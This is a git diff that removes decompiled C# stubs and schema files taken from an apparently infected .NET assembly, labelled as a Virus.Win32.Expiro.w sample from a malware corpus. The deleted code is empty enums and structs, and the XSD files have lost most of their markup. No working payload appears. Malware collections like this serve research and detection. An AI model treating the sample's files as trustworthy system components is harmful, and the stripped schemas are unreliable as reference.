--- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IMonikerProp_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IMonikerProp_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum __MIDL_IMonikerProp_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IOleDocument_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IOleDocument_0001.cs deleted file mode 100644 index 91fe44b4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IOleDocument_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IOleDocument_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL_IOleDocument_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IPrint_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IPrint_0001.cs deleted file mode 100644 index a55ecf83..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IPrint_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IPrint_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IPrint_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs deleted file mode 100644 index 1132fdf2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_objidl_0000_0046_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum __MIDL___MIDL_itf_objidl_0000_0046_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs deleted file mode 100644 index c192c1a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_objidl_0000_0046_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_objidl_0000_0046_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs deleted file mode 100644 index 7b745d58..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_structuredquery_0000_0013_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_structuredquery_0000_0013_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__enative_startup_state.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__enative_startup_state.cs deleted file mode 100644 index 00da5b81..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__enative_startup_state.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __enative_startup_state -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __enative_startup_state -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_iobuf.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_iobuf.cs deleted file mode 100644 index 401ec858..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_iobuf.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _iobuf -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _iobuf -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ldiv_t.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ldiv_t.cs deleted file mode 100644 index 117d3161..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ldiv_t.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ldiv_t -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _ldiv_t -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagACENUMOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagACENUMOPTION.cs deleted file mode 100644 index 505d4743..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagACENUMOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagACENUMOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _tagACENUMOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagAUTOCOMPLETELISTOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagAUTOCOMPLETELISTOPTIONS.cs deleted file mode 100644 index 3e540233..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagAUTOCOMPLETELISTOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagAUTOCOMPLETELISTOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagAUTOCOMPLETELISTOPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagAUTOCOMPLETEOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagAUTOCOMPLETEOPTIONS.cs deleted file mode 100644 index c591b650..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagAUTOCOMPLETEOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagAUTOCOMPLETEOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagAUTOCOMPLETEOPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagINTERNETFEATURELIST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagINTERNETFEATURELIST.cs deleted file mode 100644 index d8f3c21f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagINTERNETFEATURELIST.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagINTERNETFEATURELIST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _tagINTERNETFEATURELIST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagOIBDG_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagOIBDG_FLAGS.cs deleted file mode 100644 index 52d5c34c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagOIBDG_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagOIBDG_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _tagOIBDG_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPARSEACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPARSEACTION.cs deleted file mode 100644 index da036596..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPARSEACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPARSEACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _tagPARSEACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPI_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPI_FLAGS.cs deleted file mode 100644 index 8b912c92..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPI_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPI_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagPI_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPSUACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPSUACTION.cs deleted file mode 100644 index bcffdaf2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPSUACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPSUACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagPSUACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagQUERYOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagQUERYOPTION.cs deleted file mode 100644 index b9d9d72d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagQUERYOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagQUERYOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _tagQUERYOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/addressing.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/addressing.xsd deleted file mode 100644 index b0c6780f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/addressing.xsd +++ /dev/null @@ -1,144 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/addressing04.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/addressing04.xsd deleted file mode 100644 index 6f66e747..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/addressing04.xsd +++ /dev/null @@ -1,133 +0,0 @@ - - - - - - - - - - - - - - - - - If "Policy" elements from namespace "http://schemas.xmlsoap.org/ws/2002/12/policy#policy" are used, they must appear first (before any extensibility elements). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/gcroot_003CSystem_003A_003AString ^_003E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/gcroot_003CSystem_003A_003AString ^_003E.cs deleted file mode 100644 index fcf0c2a0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/gcroot_003CSystem_003A_003AString ^_003E.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: gcroot -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/identity.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/identity.xsd deleted file mode 100644 index 27c63856..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/identity.xsd +++ /dev/null @@ -1,434 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/localeinfo_struct.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/localeinfo_struct.cs deleted file mode 100644 index fe58e2ce..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/localeinfo_struct.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: localeinfo_struct -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct localeinfo_struct -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/oasis-200401-wss-wssecurity-secext-1/0.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/oasis-200401-wss-wssecurity-secext-1/0.xsd deleted file mode 100644 index 641798b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/oasis-200401-wss-wssecurity-secext-1/0.xsd +++ /dev/null @@ -1,195 +0,0 @@ - - - - - - - - - This type represents an element with arbitrary attributes. - - - - - - - - - - - This type is used for password elements per Section 4.1. - - - - - - - - - - This type is used for elements containing stringified binary data. - - - - - - - - - - This type represents a username token per Section 4.1 - - - - - - - - - - - A security token that is encoded in binary - - - - - - - - - - A security token key identifier - - - - - - - - - - Typedef to allow a list of usages (as URIs). - - - - - - This global attribute is used to indicate the usage of a referenced or indicated token within the containing context - - - - - This type represents a reference to an external security token. - - - - - - - - This type represents a reference to an embedded security token. - - - - - - - - - - This type is used reference a security token. - - - - - - - - - - - This complexType defines header block to use for security-relevant data directed at a specific SOAP actor. - - - - - The use of "any" is to allow extensibility and different forms of security data. - - - - - - - - This complexType defines a container for elements to be specified from any namespace as properties/parameters of a DSIG transformation. - - - - - The use of "any" is to allow extensibility from any namespace. - - - - - - - - This element defines the wsse:UsernameToken element per Section 4.1. - - - - - This element defines the wsse:BinarySecurityToken element per Section 4.2. - - - - - This element defines a security token reference - - - - - This element defines a security token embedded reference - - - - - This element defines a key identifier reference - - - - - This element defines the wsse:SecurityTokenReference per Section 4.3. - - - - - This element defines the wsse:Security SOAP header element per Section 4. - - - - - This element contains properties for transformations from any namespace, including DSIG. - - - - 